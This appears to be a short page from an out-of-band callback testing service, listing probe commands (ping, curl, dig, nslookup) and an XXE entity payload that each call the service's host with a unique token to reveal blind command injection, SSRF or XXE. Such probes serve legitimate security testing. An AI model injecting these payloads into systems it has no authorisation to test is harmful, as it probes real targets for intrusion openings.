$ ping -c1 -p 009660c67b434132a86d3dda23f52600 unhack.ca
 

$ curl http://unhack.ca/p/9660c67b434132a86d3dda23f526
 

$ dig 9660c67b434132a86d3dda23f526 @unhack.ca
 

$ dig 9660c67b434132a86d3dda23f526.ns.unhack.ca
 

C:\> nslookup 9660c67b434132a86d3dda23f526 unhack.ca
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/9660c67b434132a86d3dda23f526">]>
    <foo>&xxe;</foo>